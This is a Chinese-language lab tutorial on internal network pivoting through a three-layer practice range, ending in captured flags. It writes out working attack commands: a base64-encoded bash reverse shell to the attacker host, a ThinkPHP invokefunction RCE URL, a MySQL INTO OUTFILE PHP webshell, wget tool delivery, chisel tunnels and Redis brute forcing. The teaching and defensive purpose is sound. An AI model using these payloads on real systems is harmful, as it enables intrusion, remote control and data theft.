第 1 章　内网渗透

内网渗透（横向移动 / Pivot）的本质：攻击者先拿到一台能“看见”内网的机器（跳板机），再利用这台机器去探测、访问、渗透它身后的内网。这台跳板机往往是双网卡主机——它同时连通两个不同的网段，我们就是顺着这些“桥”一层一层往里走。

攻击链模型

通常把一次这样的攻击分为六步（对应本教材的章节）：

本实验三个并行的技能主线：

1. 漏洞利用：Shiro → ThinkPHP → Struts2，都是“Web 框架把外来输入当代码/对象/表达式”导致的代码执行。
2. 数据获取：Redis / MySQL / Postgres，靠弱口令直达数据，或者借数据库特性写文件升级权限。
3. 隧道与横向：chisel 端口转发 + SOCKS、proxychains、多级跳板。这是把前两条串起来、让攻击能“走得远”的核心能力。

1.4 实验环境与准备

1.4.1 靶场网络拓扑

1.4.2 主机资产一览

1.4.3 攻击机所需的工具

准备一个简易 HTTP 文件服务器（把 fscan、chisel 等放在同一目录下）：

cd ~/tools          # 放入 fscan、chisel 二进制
python3 -m http.server 80
# 目标机用 wget http://192.168.200.129/<文件名> 拉取

“

这就是内网渗透里最常用的工具投递手法：进攻机开 HTTP，让内网机器 wget 拉取工具。

第 2 章　漏洞与隧道原理

2.1 Shiro RememberMe 反序列化

2.1.1 背景：什么是「记住我」

Web 应用常提供「记住我」功能：用户下次访问不用再输密码。实现方式是把登录状态序列化成一个对象，加密后放进 Cookie（Shiro 里叫 rememberMe）。下次访问时，服务端读取 Cookie → 解密 → 反序列化成对象 → 恢复会话状态。

2.1.2 漏洞成因

问题出在第 ⑤ 步反序列化和 ② 步加密：

1. 密钥可预测：Shiro 默认使用固定的 AES 密钥 加解密。早期版本密钥硬编码在源码/公开资料里，如 kPH+bIxk5D2deZiIxcaaaA==。
2. 反序列化不安全：ObjectInputStream.readObject() 不校验对象类型，会加载任意的 Java 类。

于是攻击者可以：

• 用已知的 AES 密钥，把一段恶意构造的序列化 Java 对象加密成 rememberMe Cookie；
• 服务端解密后 readObject() 时，触发这个对象里的 「Gadget 链」（利用链），最终执行任意命令。

这就是 Shiro 反序列化（CVE-2016-4437，俗称 Shiro-550）。

2.1.3 Gadget 链（利用链）是什么

Java 反序列化漏洞的关键是：找到一个「从 readObject() 一路走到 Runtime.exec()」的类组合，叫做 Gadget Chain（利用链）。常见的有：

• CommonsCollections（ysoserial 核心链，CC1~CC7）
• CommonsBeanutils（BeanComparator）
• Spring / Groovy / etc.

这些链本质是利用 HashMap、DynamicProxy、TemplatesImpl、InvokerTransformer 等对象的反射回调，逐级把「读对象」变成「执行方法」。

2.1.4 ShiroAttack2 工具怎么工作的

理解了原理，就能看懂工具：

“

开发背景：原版 shiro_attack 有 NoCC（无回显） 问题，ShiroAttack2 修复了它，所以能直接在 GUI 里看到命令输出。这也是为什么它比手工 ysoserial 更快。

2.1.5 防护要点

• 不要用可预测/公开的密钥；每个部署生成随机密钥。
• 升级 Shiro 到已修复版本。
• 限制 Cookie 大小、对 rememberMe 做长度/格式白名单校验。

2.2 Struts2 OGNL 注入

2.2.1 背景：OGNL 与 ValueStack

Apache Struts2 用 OGNL（Object-Graph Navigation Language） 把 HTTP 请求里的参数名/值绑定到后台 ValueStack（值栈）里的对象上。OGNL 是一种表达式语言，能导航对象图、调用方法、访问静态成员。

HTTP 参数  --OGNL表达式解析-->  ValueStack(值栈)  --(反射赋值)--> 控制器/模型对象

如果框架错误地把「用户可控的字符串」当 OGNL 表达式去求值，攻击者就能注入恶意表达式执行任意命令。

2.2.2 S2-045 与 S2-046（CVE-2017-5638）

Struts2 的 Jakarta 文件上传组件在解析上传请求时，会把 Content-Type 头（S2-045）或 Content-Disposition/文件名（S2-046）作为 OGNL 表达式求值。

攻击载荷长这样（概念示意）：

Content-Type: %{(#_='multipart/form-data').(#cmd=...)(#cmd='whoami')...}

其中用 # 引用上下文，用 %{...} / ${...} 触发表达式求值。这个 #context['xwork.MethodAccessor'] 之类的东西放开访问控制后，就能调到 Runtime 执行系统命令。

S2-045 与 S2-046 的关系：二者机制几乎相同、同属 CVE-2017-5638，区别只在触发点：

• S2-045：注入在 Content-Type 头。
• S2-046：注入在 Multipart 上传的 Content-Disposition 或文件名参数。

“

本靶场 fscan 报的是 poc-yaml-struts2_045，官方 writeup 标题写 S2-046。实操中这类工具通常 ST 链能一网打尽，不必纠结编号，但要理解"OGNL 注入 → 命令执行"的根因。

2.2.3 防护要点

• 升级到不受 CVE-2017-5638 影响的版本。
• 禁用或替换 Jakarta 上传解析器，或加 WAF 拦截 Content-Type/文件名里的 OGNL 特征串（%{、#、Runtime 等）。

2.3 ThinkPHP 方法调用 / 过滤器 RCE

2.3.1 背景

ThinkPHP 5（PHP 框架）的路由分发会让请求参数去调用对应的控制器/方法。当框架**允许用户控制“调用哪个类、哪个方法、传什么参数”**，且没做白名单限制时，就能触发任意方法调用 → 命令执行。

2.3.2 两种常见利用手法

① invokefunction 方法调用 RCE（ThinkPHP 5.x 早期）

通过路由参数让 think\App::invokefunction 调用任意函数：

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

• 意思：invokefunction 里的 function 被指为 call_user_func_array，vars[0] 是被调函数 system，vars[1][] 是参数 id。于是执行了 system('id')。

② __construct + filter 过滤器 RCE（ThinkPHP 5.0.x 特定版本）

ThinkPHP 的 Request 类有个 filter 属性用于对输入做“过滤处理”。如果攻击者通过 HTTP 方法 _method=__construct 篡改 filter 为 system，并把一个方法置为 get，再去触发某个输入，就会用 system 处理该输入 → 命令执行。

这对应 writeup 里的 tp5_construct_code_exec_1/2。

2.3.3 Session 包含 RCE（tp5_session_include）

ThinkPHP 会把会话（session）序列化存储到本地文件（位于 runtime/）。如果攻击者能：

1. 让 session 内容里包含一段可执行的 PHP 代码；
2. 再通过“文件包含”漏洞把该 session 文件当模板/文件去 include；

那 PHP 就会把 session 文件里的代码当 PHP 执行。这就是 tp5_session_include。

2.3.4 防护要点

• 升级 ThinkPHP ≥ 5.0.23 修复版 / 5.1 / 6.x。
• 严格限制路由和控制器白名单，禁用 invokefunction 这类危险行为。
• 不要开启 session 文件被 Web 目录引用 / 可被包含的配置。

2.4 数据库弱口令与文件写入

2.4.1 Redis：键值数据库与 AUTH

Redis 是内存键值数据库，默认无认证。若配置了 requirepass，客户端需用 AUTH <密码> 认证。

为什么弱口令危险：

• 攻击者爆破/猜测出密码后能读写任意 key（KEYS * / GET），直接读敏感数据（本靶场 flag 就存在 flag 键里）。
• 更严重时，若 Redis 可写 dir + dbfilename 且 save 持久化，可向系统任意路径写文件，进而写 Webshell、写入 authorized_keys 实现 SSH 登录、或写计划任务。

2.4.2 MySQL：secure_file_priv 与 INTO OUTFILE

MySQL 允许把查询结果写入服务器文件：

SELECT '...' INTO OUTFILE '/path'

但受全局变量 secure_file_priv 限制：

利用链（把数据库权限升级为 Web 权限）：

1. 确认 secure_file_priv 为空；
2. 用 INTO OUTFILE 往 Web 根目录写一句话木马；
3. 访问该木马文件，用蚁剑连接 → 获得主机权限。

一句话木马：<?php @eval($_POST["shell"])?> —— 接收 POST 参数 shell 并 eval 执行，是 WebShell 的极简形式。

2.4.3 PostgreSQL：超级用户与 pg_hba.conf

PostgreSQL 的默认超级用户是 postgres。若命中弱口令（如 postgres:password），就能以超级用户登录，遍历所有数据库/表。

**安全配置项 pg_hba.conf**：控制“哪些客户端、哪些库、哪些认证方式可以连”。如果配成 trust，甚至不需要密码。生产环境应限制来源网段并要求 scram-sha-256 等强认证。

2.4.4 防护要点

• 数据库服务只绑定内网/隔离网段，不暴露公网。
• 强口令 + 定期改密 + 失败限速与锁定。
• secure_file_priv 设为一个受控目录，不要留空；Web 根目录不可被数据库进程写入。
• 最小权限：应用账号和 DBA 账号分离。

2.5 内网隧道与多级跳板（Pivot）原理

2.5.1 为什么需要隧道

内网主机之间可以互相通信，但攻击机（Kali）与内网主机之间被防火墙/NAT 隔开，这就带来两种典型的连通性问题：

1. Kali 访问不到内网（内网是私有地址，公网不可达）。
2. 内网主机也无法主动连到 Kali（出网受限，或者它根本不知道外网的存在）。

隧道就是借助一台已受控、能同时与内外网通信的机器（跳板），把攻击流量「搬」进内网，或者把内网流量「搬」出来。

2.5.2 双网卡主机 = 天然桥梁

这台机器既在网段 A，又在网段 B，是天然的中转站。我们把工具放到它上面、或让它帮忙转发流量，就能从 Kali 一路访问到最内层。

2.5.3 正向隧道 vs 反向隧道（chisel 的两种模式）

正向（Forward）：chisel client <server> <local>:<remote>—— 在客户端监听本地端口，连到 remote（服务端可达的目标）。

反向（Reverse，用 R: 前缀）：让目标机主动回连攻击机的 chisel 服务端，再由服务端开端口映射到目标机能访问的地址。

判断口诀：

• 目标能主动连 Kali → 用反向（R:）。
• Kali 能直接连目标 → 用正向（无 R:）。
• 无论哪种，都以 chisel 的 service/server 那台机器当作「中转大脑」。

2.5.4 SOCKS 代理：一次打通整个网段

单端口转发一次只能「搬」一个服务。如果内网里服务很多，更好的做法是搭一个 SOCKS5 代理：

然后攻击机上的 proxychains4 会强制让任意程序（比如 pgcli、redis-cli、curl）把流量走这个 SOCKS 代理，于是就能访问整个内网网段。

2.5.5 多级跳板（三层嵌套）

当网络不止一层时，就要一层一层地「搭桥」。以本靶场为例，Kali 要访问第 3 层 172.56.102.0/24，需要：

关键理解（writeup 的 warning 点）：在更内层，代理主服务器地址不能用 Kali，而必须是已经建立起端口转发的更内层跳板（这里是 phpMyAdmin）。因为第 3 层根本连不上 Kali，它只能连到「离它最近、已受控的那台」。

为什么这样嵌套：

1. phpMyAdmin（第 2 层）连不上外网 Kali，但它能连 ThinkPHP；
2. ThinkPHP 能连 Kali；
3. 所以让 ThinkPHP 做一层中转（把 phpMyAdmin 的连接「接力」到 Kali）。
4. 最终 SOCKS 出口落在 Kali，但流量实际是经 phpMyAdmin 转发进第 3 层的。

“

一句话理解多级跳板：每一跳只负责把「相邻两层」的流量接起来，就像接力赛。目标越深，需要的「跳」就越多。

2.5.6 隧道工具的选型

本教材统一用 chisel（单一二进制、跨平台、命令简洁）。

第 3 章　阶段一：突破边界 —— Shiro

“

目标：从唯一对外端口 8080 拿下第一台主机，拿到 root shell，并识别第 1 层内网。

3.1 本章学习目标

• 学会通过 RememberMe 字段识别 Shiro 应用。
• 理解并会使用 ShiroAttack2 完成反序列化 RCE。
• 掌握「反弹 shell + base64 编码」的落地技巧。
• 学会用 ifconfig 判断网段、用 fscan 做内网发现。

3.2 前置知识

• HTTP 请求/响应、Cookie 基本概念。
• Java 反序列化与 Gadget 链（见 §2.1）。
• 反弹 shell（/dev/tcp、bash -i）。

3.3 为什么这样打

入口只有 8080，且从响应包看到 RememberMe —— 这是 Shiro 反序列化的强指纹。先确认框架，才能选对工具，避免对着一个非 Shiro 应用浪费时间。拿下它之后，我们要做两件事：反弹 shell（拿交互） 和 内网扫描（找下一个目标）。

3.4 实验准备

# Kali 上
which python3    # 用于起 HTTP 文件服务器（投递工具）
# 确认 pwncat-cs 或 nc 可用
pwncat-cs -h >/dev/null 2>&1 && echo "pwncat ok" || echo "use nc"

3.5 分步操作

步骤 1：识别 Shiro 指纹

抓取请求包，确认请求头/响应里出现 RememberMe：

Cookie: JSESSIONID=...; rememberMe=xxx

预期：看到 rememberMe 字段 → 触发 Shiro 反序列化利用。

说明：这就是 §2.1 讲的"给我一个能序列化对象的地方"，rememberMe 就是入口。

步骤 2：用 ShiroAttack2 利用

打开 ShiroAttack2，填入目标地址（如 http://<入口IP>:8080），先检测/爆破密钥，命中后选择回显执行命令。

预期：工具提示命中默认密钥 kPH+bIxk5D2deZiIxcaaaA==，能直接执行命令。

为什么先爆破密钥：Shiro 必须用对的 AES 密钥加密 payload。ShiroAttack2 会自动尝试常见密钥字典，命中后即可构造合法 Cookie。

步骤 3：读取第一个 flag

cat /flag.txt

说明：验证"反序列化 → 文件读取"这条路径走得通。

步骤 4：反弹 shell（获得交互）

# 把" /bin/bash -i >& /dev/tcp/192.168.200.129/9999 0>&1 " 用 base64 编码
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjEyOS85OTk5IDA+JjE= | base64 -d > /tmp/shell.sh
chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh

Kali 上监听：

pwncat-cs -lp 9999
# 看到 received connection from 192.168.200.2:... 即成功

为什么用 base64：直接 bash -c "/bin/bash -i >& /dev/tcp/.../9999 0>&1" 里的引号、重定向、& 在传输/转义时容易出错。先 base64 编码再落地，能规避特殊字符问题，payload 也更"干净"（不引起终端字符转义混乱）。

预期：whoami 返回 root（WriteUp 示例为 root）。

“

排错：若反弹不通——① 检查 Kali 是否监听 & 端口是否正确；② 检查目标是否能出网（能回连说明可出网，反向隧道可行；若不通，后续隧道要用正向或换中转）。

步骤 5：内网扫描（上传 fscan）

(remote) root@...:/tmp# wget 192.168.200.129/fscan
(remote) root@...:/tmp# chmod +x fscan
(remote) root@...:/tmp# ifconfig
# eth0: inet 192.168.100.3  ← 所在网段
(remote) root@...:/tmp# ./fscan -h 192.168.100.0/24

ifconfig 的意义（关键）：先弄清楚"我在哪个网段、有几个网卡"，才知道还能打谁。

fscan 探测出第 1 层结构：

192.168.100.2:80 open
192.168.100.2:9000 open            # FCGI
192.168.100.3:8080 open
[+] FCGI 192.168.100.2:9000        # X-Powered-By: PHP/7.3.33 → ThinkPHP 特征
[*] WebTitle http://192.168.100.2 title:None
[*] WebTitle http://192.168.100.3:8080 title:Login Page / jsessionid
[+] PocScan http://192.168.100.2 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://192.168.100.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

读懂输出：

• FCGI + X-Powered-By: PHP/7.3.33 → 是 PHP/ThinkPHP。
• poc-yaml-thinkphp5023-method-rce → fscan 直接命中 ThinkPHP 5.0.23 方法调用 RCE。
• poc-yaml-shiro-key → 确认 Shiro 密钥 kPH+bIxk5D2deZiIxcaaaA==、以及 CBC 模式（正是我们第一阶段打的）。

第 1 层结论：Thinkphp 192.168.100.2、Shiro 192.168.100.3。

3.6 常见排错

3.7 本章小结

“

在唯一入口上用"框架指纹"精准选工具，随后 反序列化 RCE，进而 反弹 shell 拿交互，再 用 ifconfig + fscan 发现网段与下一个目标。 核心收获是"确认框架 + 建立交互 + 内网情报"三件事。

3.8 思考题与练习

1. 为什么必须先确认框架是 Shiro 才能用 ShiroAttack2？用一个反例说明会怎样。
2. Shiro 反序列化的两个必要条件是什么？（密钥 & 反序列化不加校验）
3. 为什么"反弹 shell"比"只在工具里执行命令"更受攻击者青睐？
4. 用 ip a 与 ifconfig 结果有差异吗？为什么要重视"多个网卡/多个网段"？
5. 进阶：如果不反弹 shell，光靠 ShiroAttack2 的"回显命令执行"，后续内网扫描能进行吗？为什么？

第 4 章　阶段二：横向移动 —— ThinkPHP

“

目标：利用 Shiro 做跳板，访问并攻陷 192.168.100.2 的 ThinkPHP，拿到 www-data shell，并借它（双网卡）发现第 2 层网络。

4.1 本章学习目标

• 理解并实操 单端口反向端口转发（chisel）。
• 使用 thinkphp_gui_tools 完成 ThinkPHP 5 RCE。
• 理解"双网卡主机"作为 Pivot 的作用。
• 用 fscan 发现第 2 层网段。

4.2 前置知识

• §2.5 隧道原理（正向/反向、端口转发）。
• §2.3 ThinkPHP RCE 原理。
• 会看 fscan 输出。

4.3 为什么这样打

Shiro（100.3）能访问 192.168.100.2（同网段），但 Kali 不能直接访问。所以先用 chisel 把 192.168.100.2:80 共享到 Kali 本地端口 10001；Kali 就能像访问本地一样访问这个内网 Web 服务。然后对 ThinkPHP 打 RCE，拿到 www-data shell，再扫描发现第 2 层。

4.4 实验准备

# 确保 Kali 已有 chisel 服务端二进制并已启动
# 目标机（Shiro）需能 wget 到 chisel 二进制

4.5 分步操作

步骤 1：Shiro 端口转发（把 ThinkPHP 的 80 端口映射到 Kali 本地）

Kali 端启动 chisel 反向服务端：

 title="Kali"
./chisel_1.9.1_linux_amd64 server -p 1331 --reverse &
# Reverse tunnelling enabled
# Listening on http://0.0.0.0:1331

Shiro 端（目标机）建立反向转发：

 title="Shiro"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 R:0.0.0.0:10001:192.168.100.2:80 &

Kali 端看到：

# server: session#4: tun: proxy#R:10001=>192.168.100.2:80: Listening

命令解读：

• chisel client 192.168.200.129:1331：Shiro 主动连回 Kali 的 chisel 主服务端（反向）。
• R:0.0.0.0:10001:192.168.100.2:80：**R: 表示反向** —— 在服务端（Kali） 开放 10001，并把到达 10001 的流量转发到客户端（Shiro）能访问的 192.168.100.2:80。

结果：http://127.0.0.1:10001 等价于内网 http://192.168.100.2。

步骤 2：ThinkPHP 漏洞检测与利用

用 thinkphp_gui_tools 指向 http://127.0.0.1:10001，先检测：

[+] 目标存在 tp5_construct_code_exec_2 漏洞
[+] 目标存在 tp5_construct_code_exec_1 漏洞
[+] 目标存在 tp5_session_include 漏洞

确认后选最稳的一条进行命令执行 / getshell。

步骤 3：读取第二个 flag

cat /flag.txt        # 在 ThinkPHP 主机 /flag.txt

步骤 4：ThinkPHP 反弹 shell

ThinkPHP 能出网，直接反弹：

 title="ThinkPHP"
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjEyOS85OTk4IDA+JjE= | base64 -d > /tmp/shell.sh
chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh

 title="Kali"
pwncat-cs -lp 9998
(remote) www-data@4c2afff6c232:/var/www/public$ whoami
www-data

说明：www-data 是 Web 用户，权限略低于 root，但足以进行内网扫描和后续渗透。

步骤 5：ThinkPHP 内网扫描（发现第 2 层）

(remote) www-data@...:/tmp$ wget 192.168.200.129/fscan
(remote) www-data@...:/tmp$ chmod +x fscan
(remote) www-data@...:/tmp$ ifconfig
# eth0: inet 192.168.100.2   ← 第1层
# eth1: inet 10.85.101.3     ← 新网段！双网卡！
(remote) www-data@...:/tmp$ ./fscan -h 10.85.101.0/24

fscan 探测出第 2 层结构：

10.85.101.4:80 open
10.85.101.2:6379 open           # Redis
10.85.101.4:9000 open           # phpMyAdmin FCGI
[*] WebTitle http://10.85.101.4 title:phpMyAdmin
[+] InfoScan http://10.85.101.4 [phpMyAdmin]
[+] PocScan http://10.85.101.4 poc-yaml-php-cgi-cve-2012-1823
[+] PocScan http://10.85.101.3 poc-yaml-thinkphp5023-method-rce poc1

第 2 层结论：phpMyAdmin 101.4、Thinkphp 101.3、Redis 101.2。

4.6 常见排错

4.7 本章小结

“

单端口反向转发把"内网 Web 服务"搬到 Kali，随后 ThinkPHP RCE，进而 拿到 www-data shell，再 用 ifconfig 发现它是双网卡、扫描出第 2 层。 核心收获是第一种"跨网跳板"（端口转发），也是后面 SOCKS 与多级跳板的基础。

4.8 思考题与练习

1. R:0.0.0.0:10001:192.168.100.2:80 里 R: 代表什么？为什么叫"反向"？
2. 为什么这里用"单端口转发"而不是"整段 SOCKS"？（第 2 层服务少、先打通一个再说）
3. ThinkPHP 能出网，Shiro 也能出网，为什么我们还要用 chisel 的复杂度？（联想：不转发时 Kali 根本访问不到 100.2 的 80 端口）
4. 进阶：如果把反序列化和 ThinkPHP RCE 顺序反过来（先打 ThinkPHP 再打 Shiro），会有什么不同？
5. 进阶：www-data 能写 /var/www/wwwroot 吗？为什么木马常写进 Web 根目录而不是别处？

第 5 章　阶段三：横向移动 —— Redis 与 phpMyAdmin

“

目标：在第 2 层拿下 Redis（弱口令）与 phpMyAdmin（root/root + 写 Webshell + 反弹 shell），并借 phpMyAdmin（双网卡）发现第 3 层。

5.1 本章学习目标

• 掌握 SOCKS 隧道（chisel）与 proxychains 的配合。
• 会用 redisbrute 爆破 Redis，并用 redis-cli 读取数据。
• 会用 phpMyAdmin 弱口令登录，用 MySQL INTO OUTFILE 写 Webshell，用蚁剑连接。
• 理解“内网主机不能出网时，借外层主机做反向转发”的反弹 shell 技巧。
• 用 fscan 发现第 3 层。

5.2 前置知识

• §2.5 隧道、SOCKS、多级跳板。
• §2.4 数据库弱口令与文件写入。
• Redis / MySQL 基本命令。

5.3 为什么这样打

第 2 层服务多（Redis、phpMyAdmin），直接建 SOCKS 代理一劳永逸。之后：

• 对 Redis：单独把 6379 转发出来（爆破/连接更稳），用 redisbrute 爆破出密码，读 flag。
• 对 phpMyAdmin：弱口令 root/root 登录，用 INTO OUTFILE 写一句话木马，蚁剑连接获得控制，并反弹 root shell。
• 最后对 phpMyAdmin 主机扫描，发现第 3 层。

5.4 实验准备

# 准备 redisbrute、redis-cli、pgcli（第 6 章用）、proxychains4
proxychains4 -h >/dev/null 2>&1 && echo ok
# 确认 /etc/proxychains4.conf 里 socks5 指向 Kali 的 SOCKS 端口

5.5 分步操作

步骤 1：ThinkPHP 建立 SOCKS 隧道

 title="ThinkPHP"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 R:0.0.0.0:10002:socks

 title="Kali"
# server: session#6: tun: proxy#R:10002=>socks: Listening

说明：R:0.0.0.0:10002:socks 让 Kali 的 127.0.0.1:10002 变成 SOCKS5 代理，走 ThinkPHP 访问整个 10.85.101.0/24。

步骤 2：Redis 端口转发 + 爆破

单独把 Redis 6379 转发出来：

 title="ThinkPHP"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 R:0.0.0.0:16379:10.85.101.2:6379

./redisbrute --ip 127.0.0.1 --port 16379 --passwords /usr/share/wordlists/rockyou.txt
[+] Valid password found - 12345

为什么单独转发 Redis：爆破/连接 Redis 需要一个稳定的直连通道；把它映射到 Kali 本地 16379，比走 SOCKS 更可控。redisbrute 用 rockyou.txt（Kali 自带字典）尝试常见密码。

步骤 3：读取 Redis flag

redis-cli -h 127.0.0.1 -p 16379 -a "12345"
127.0.0.1:16379> KEYS *
1) "flag"
127.0.0.1:16379> GET flag
"WSS-Studio{Redis-870ed89a-6658-4350-8d17-9f293df5c6b1}"

说明：-a 用密码认证（会警告命令行明文暴露密码，仅教学环境可接受；生产用交互式 AUTH）。KEYS * 枚举所有键，GET 取值。

步骤 4：phpMyAdmin 弱口令登录

浏览器设置代理（SOCKS）访问 http://10.85.101.4/：

数据库地址: localhost
用户名:     root
密码:       root

预期：成功进入 phpMyAdmin。

步骤 5：读取 MySQL 中的 flag

在数据库里找到相应的 flag 记录（SELECT * FROM ...）。

步骤 6：MySQL 写入 Webshell

先确认可写路径：

show global variables like '%secure%'

看到 secure_file_priv 为空 → 允许任意路径写入。然后写一句话木马：

select '<?php @eval($_POST["shell"])?>' into outfile '/var/www/html/shell.php'

浏览器访问 /shell.php 确认文件已生成；再用蚁剑连接，密码 shell。

为什么能成功：三前提同时满足——secure_file_priv 为空、Web 根目录可被 MySQL 写入、知道 Web 根路径（/var/www/html）。

步骤 7：phpMyAdmin 反弹 shell（借外层转发）

phpMyAdmin 在隔离内网不能直接连 Kali，所以让 ThinkPHP 做一层转发：

 title="Thinkphp"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 8888:0.0.0.0:8888
# tun: proxy#8888=>0.0.0.0:8888

流量链路：

phpMyAdmin(10.85.101.4) --Reverse Shell--> ThinkPHP(10.85.101.3):8888
ThinkPHP(10.85.101.3):8888 --Port Forward--> Kali(192.168.200.129):8888

Kali 监听：

nc -lvnp 8888
# connect to [127.0.0.1] ...
whoami
root

为什么这样能通：phpMyAdmin 连不到 Kali，但它能连到同网段的 ThinkPHP（能出网、且已与 Kali 建立了隧道）。ThinkPHP 用 8888:0.0.0.0:8888 把“流量转发到 Kali 8888”；phpMyAdmin 反弹到 ThinkPHP:8888，ThinkPHP 再一路转发回 Kali。这就是多级跳板 + 反向转发的实战示例。

步骤 8：phpMyAdmin 内网扫描（发现第 3 层）

(remote) root@...:/tmp# ifconfig
# eth0: inet 10.85.101.4
# eth1: inet 172.56.102.4   ← 新网段！双网卡！
(remote) root@...:/tmp# ./fscan -h 172.56.102.0/24

fscan 探测出第 3 层结构：

172.56.102.4:9000 open
172.56.102.4:80 open
172.56.102.1:22 open
172.56.102.2:5432 open            # Postgres
172.56.102.3:8009 open            # Struts2
172.56.102.3:8080 open
[*] WebTitle http://172.56.102.4 title:phpMyAdmin
[+] InfoScan http://172.56.102.4 [phpMyAdmin]
[+] Postgres:172.56.102.2:5432:postgres password    # 弱口令被直接爆出
[*] WebTitle http://172.56.102.3:8080 title:$Title$
[+] PocScan http://172.56.102.3:8080 poc-yaml-struts2_045 poc1

第 3 层结论：phpMyAdmin 102.4、Postgres 102.2、Struts2 102.3。且拿到两个情报：Postgres 弱口令 postgres:password、Struts2 存在 struts2_045。

5.6 常见排错

5.7 本章小结

“

SOCKS 隧道统一打通第 2 层 → Redis 爆破读 flag → phpMyAdmin 弱口令 + INTO OUTFILE 写木马 + 蚁剑 + 借外层反弹 → fscan 发现第 3 层。 三重能力：数据库弱口令利用、数据库写文件提权、借中间人反弹。

5.8 思考题与练习

1. SOCKS 隧道 vs 单端口转发，各适合什么场景？为什么第 2 层用 SOCKS，Redis 却单独转发？
2. INTO OUTFILE 能写成功需要哪三个前提？少一个会怎样？
3. 为什么 phpMyAdmin 不能直接反弹到 Kali，而要让 ThinkPHP 做一层转发？
4. 进阶：若 Redis 配置了 dir=/var/www/html 且 dbfilename=shell.php，能否用 CONFIG SET 写 Webshell？与 MySQL 的 INTO OUTFILE 作对比。
5. 进阶：为什么 fscan 能直接报出 Postgres: postgres password？这说明什么（弱口令扫描的基本原理）？

第 6 章　阶段四：二层内网 —— Struts2 与 Postgres

“

目标：打通“三层跳板”访问最内层 172.56.102.0/24，拿下 Struts2（S2-045/046）与 Postgres（弱口令），取完最后的 flag。

6.1 本章学习目标

• 理解并实操 多级跳板 / 三层 SOCKS 隧道。
• 会用 Struts2 漏洞工具完成 S2-045/046 RCE。
• 会用 pgcli 弱口令登录 Postgres 并读取数据。
• 理解“最内层代理主服务器不能是 Kali，而应是最内层受控跳板”这一关键点。

6.2 前置知识

• §2.5 多级跳板（接力式转发）。
• §2.2 Struts2 OGNL 注入。
• §2.4 Postgres 弱口令。

6.3 为什么这样打

最内层 172.56.102.0/24 是“二层内网”，它既连不上 Kali，也不能直接访问外网的代理服务器。所以要：

1. 让 ThinkPHP 把端口 1331 透传（它离外层近）；
2. 在 phpMyAdmin 上再建 SOCKS 隧道，并把“主代理服务器”指向 phpMyAdmin 自己（而非 Kali）；
3. 最终 Kali 通过 SOCKS 访问第 3 层，打 Struts2 + Postgres。

6.4 实验准备

# 把 chisel 二进制传到 phpMyAdmin（可用蚁剑上传，或 wget 一个经转发可达的地址）
# 确保 Kali 上配好了 proxychains4.conf 指向 SOCKS 端口

6.5 分步操作

步骤 1：ThinkPHP 上做端口透传

 title="Thinkphp"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 1331:1331
# tun: proxy#1331=>1331: Listening

含义：ThinkPHP 连回 Kali:1331，并监听自身的 1331，把收到的流量接到 Kali:1331。相当于给“更深层的 phpMyAdmin”开一条“能到达 Kali 主服务端”的路。

步骤 2：phpMyAdmin 上建立 SOCKS 隧道

把 chisel 传到 phpMyAdmin 后执行：

./chisel_1.9.1_linux_amd64 client 10.85.101.3:1331 R:0.0.0.0:10005:socks

Kali 端看到 session#20: tun: proxy#R:10005=>socks: Listening。

为什么代理主服务器地址用 10.85.101.3:1331（ThinkPHP）而不是 Kali：phpMyAdmin 在第 2 层，连不到外网 Kali，但它能连到 ThinkPHP（同网段且已建立到 Kali 的隧道）。所以 phpMyAdmin 把“到 Kali 的连接”交给 ThinkPHP 中转。

“

⚠️ 关键提醒：在二层内网中，代理主服务器的地址不能是 Kali，而应该是建立了端口转发的最内层受控主机（phpMyAdmin）。

步骤 3：Struts2 漏洞利用（S2-045/046）

通过 SOCKS 访问 172.56.102.3:8080，用 Struts2VulsScanTools 检测并利用。

工具详解：abc123info/Struts2VulsScanTools —— 在 GUI 里配置目标与漏洞种类，一键执行命令（本质是构造 OGNL payload 打 S2-045/046）。

预期：能执行命令，读取该主机上的 flag。

“

关于编号：fscan 报的是 struts2_045，writeup 标题写 S2-046，二者同属 CVE-2017-5638（Jakarta 文件上传组件 OGNL 注入），区别只在触发点（Content-Type 头 vs Content-Disposition/文件名）。利用工具通常两者都能打，理解“OGNL 注入→命令执行”这一根因即可。

步骤 4：读取 Struts2 主机上的 flag

“

writeup 中该环节截图标题写作 “flag - phpMyAdmin”，实为通过 Struts2 主机 读取的第 5 个 flag（章节编号易混淆）。读取方式同前：在命令执行结果中读取 flag 文件。

步骤 5：Postgres 弱口令登录并读 flag

fscan 已给出 postgres:password。通过 SOCKS 访问 172.56.102.2:5432：

proxychains4 pgcli -h 172.56.102.2 -u postgres
# Password for postgres: password
postgres> \l                # 列出所有数据库
postgres> \c flag           # 连到 flag 库
postgres@172.56.102.2:flag> \dt          # 列出表
postgres@...:flag> SELECT * FROM flag
+-------------------------------------------------------------+
| data                                                        |
| WSS-Studio{Postgresql-cb6cba4a-6d7b-43b6-bfc4-0146b0d0e5af} |
+-------------------------------------------------------------+

为什么能成：postgres 是 PostgreSQL 超级用户，弱口令 password 一猜即中；登录后即可遍历所有数据库和数据表。

命令说明：

• proxychains4 pgcli ...：让 pgcli 走 SOCKS 隧道访问内网。
• \l 列数据库、\c <db> 连库、\dt 列表、SELECT * FROM <table> 查数据。

第 5 个/最后 flag：从 Postgres 的 flag 库 flag 表读出。至此全部目标（第 1、2、3 层的主机与数据库）已拿下。

6.6 常见排错

6.7 本章小结

“

三层跳板（Kali→ThinkPHP→phpMyAdmin→第3层）+ Struts2 S2-045/046 RCE + Postgres 弱口令读库。核心收获是本教材的技术顶点：理解“最内层代理主服务器必须是最内层受控跳板”的多级接力逻辑，并能用普通数据库弱口令取到最后的数据。

6.8 思考题与练习

